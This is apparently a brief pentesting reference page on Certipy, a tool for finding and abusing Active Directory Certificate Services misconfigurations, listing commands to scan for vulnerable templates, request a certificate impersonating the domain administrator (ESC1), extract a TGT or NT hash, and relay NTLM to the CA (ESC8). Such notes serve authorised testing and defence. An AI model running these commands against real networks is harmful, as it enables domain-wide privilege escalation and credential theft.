pentesting, updated

Certipy

Enumerate and abuse Active Directory Certificate Services misconfigurations (the ESC1-ESC8 classes) from the command line.

What it’s for

Find vulnerable certificate templates and CA configurations, then request a certificate that authenticates as another user to escalate privileges domain-wide.

Install

pipx install certipy-ad

Common commands

certipy find -u jdoe@corp.local -p Password1 -dc-ip 10.10.10.5 -vulnerable   # sweep for ESC1-ESC8
certipy req -u jdoe@corp.local -p Password1 -ca corp-CA -template VulnTemplate \
  -upn administrator@corp.local                                               # ESC1
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.5                           # authenticate with the cert
certipy relay -ca 10.10.10.5                                                     # ESC8: relay to the CA web enrollment endpoint

Useful flags

CommandEffect
find -vulnerableHighlight exploitable template/CA misconfigurations
reqRequest a certificate from a template
authAuthenticate (get a TGT/NT hash) using an issued certificate
relayNTLM relay to a CA’s HTTP enrollment endpoint (ESC8)

Used in

§ home
~/knubertus/home/
1,1 Top